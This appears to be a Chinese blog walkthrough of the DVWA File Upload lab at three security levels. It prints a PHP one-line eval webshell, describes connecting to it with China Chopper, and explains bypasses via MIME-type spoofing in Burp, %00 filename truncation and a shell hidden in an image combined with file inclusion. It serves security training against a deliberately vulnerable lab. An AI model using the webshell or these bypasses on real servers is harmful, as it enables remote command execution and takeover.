DVWA——文件上传
DVWA——文件上传漏洞File Upload
https://www.cnblogs.com/52kj/p/12466252.html
文件上传漏洞，通常是由于对上传文件的类型、内容没有进行严格的过滤、检查，使得攻击者可以通过上传木马获取服务器的webshell权限，因此文件上传漏洞带来的危害常常是毁灭性的，Apache、Tomcat、Nginx等都曝出过文件上传漏洞。
LOW
服务器端核心代码如下：
PHP basename() 函数
basename() 函数返回路径中的文件名部分。
语法：basename(path,suffix)
| 参数 | 描述 |
|---|---|
| path | 必需。规定要检查的路径。 |
| suffix | 可选。规定文件扩展名。如果文件有名有文件扩展名，将不会显示这个扩展名。 |
漏洞利用
文件上传漏洞的利用是有限制条件的，首先当然是要能够成功上传木马文件，其次上传文件必须能够被执行，最后就是上传文件的路径必须可知。不幸的是，这里三个条件全都满足。
上传文件hack.php（一句话木马）
<?php @eval($_POST['hacker']); ?>
上传成功并返回了上传路径
打开中国菜刀，右键添加，
地址栏填入上传文件所在路径http://192.168.31.139/dvwa/hackable/uploads/hack.php
参数名（一句话木马口令）为hacker
然后菜刀就会通过向服务器发送包含hacker参数的post请求，在服务器上执行任意命令，获取webshell权限。
可以下载、修改服务器的所有文件。
打开虚拟终端执行命令
Medium
服务器端代码：
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) )
Medium级别的代码对上传文件的类型、大小做了限制，要求文件类型必须是jpeg或者png，大小不能超过100000B（约为97.6KB）
漏洞利用
1 文件包含+文件上传
修改一句话木马文件后缀为.png 文件上传成功
但是发现并不能通过菜刀连接从而获得webshell权限
注意：这里菜刀需要清除缓存
中国菜刀的原理是向上传文件发送包含hacker参数的post请求，通过控制hacker参数来执行不同的命令，而这里服务器将木马文件解析成了图片文件，因此向其发送post请求时，服务器只会返回这个“图片”文件，并不会执行相应命令。
那么如何让服务器将其解析为php文件呢？我们想到文件包含漏洞。这里可以借助Medium级别的文件包含漏洞来获取webshell权限，打开中国菜刀，右键添加，在地址栏中输入
参数名为hacker，脚本语言选择php。
=================额，好吧！理论上是可行的，但是我不知道哪里出了问题。再讲第二种方法
2 burp抓包修改文件类型
反复试了几次都没成功，发现原因在于浏览器的cookie信息中保存DVWA的安全等级，没有变过来。直接将security=impossible改为medium即可
菜刀连接获得webshell权限！！！
3 %00截断绕过
在php版本小于5.3.4的服务器中，当Magic_quote_gpc选项为off时，可以在文件名中使用%00截断，所以可以把上传文件命名为hack.php%00.png。
可以看到，包中的文件类型为image/png，可以通过文件类型检查。
上传成功
High
服务器端代码
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No $html .= '<pre>Your image was not uploaded.</pre>'; } else { // Yes! $html .= "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file $html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
strtolower() 函数把字符串转换为小写。
getimagesize() 函数用于获取图像大小及相关信息，成功返回一个数组，失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
语法格式：
array getimagesize ( string $filename [, array &$imageinfo ] )
getimagesize() 函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
漏洞利用
采用%00截断的方法可以轻松绕过文件名的检查，但是需要将上传文件的文件头伪装成图片，由于实验环境的php版本原因，这里只演示如何借助High级别的文件包含漏洞来完成攻击。
首先利用copy将一句话木马文件hack.php与图片文件1.jpg合并
打开hack.php 一句话木马藏在了最后
顺利通过文件头检查，可以成功上传。
上菜刀，右键添加shell，地址栏填入（利用了文件包含漏洞）
拿不到webshell。。。
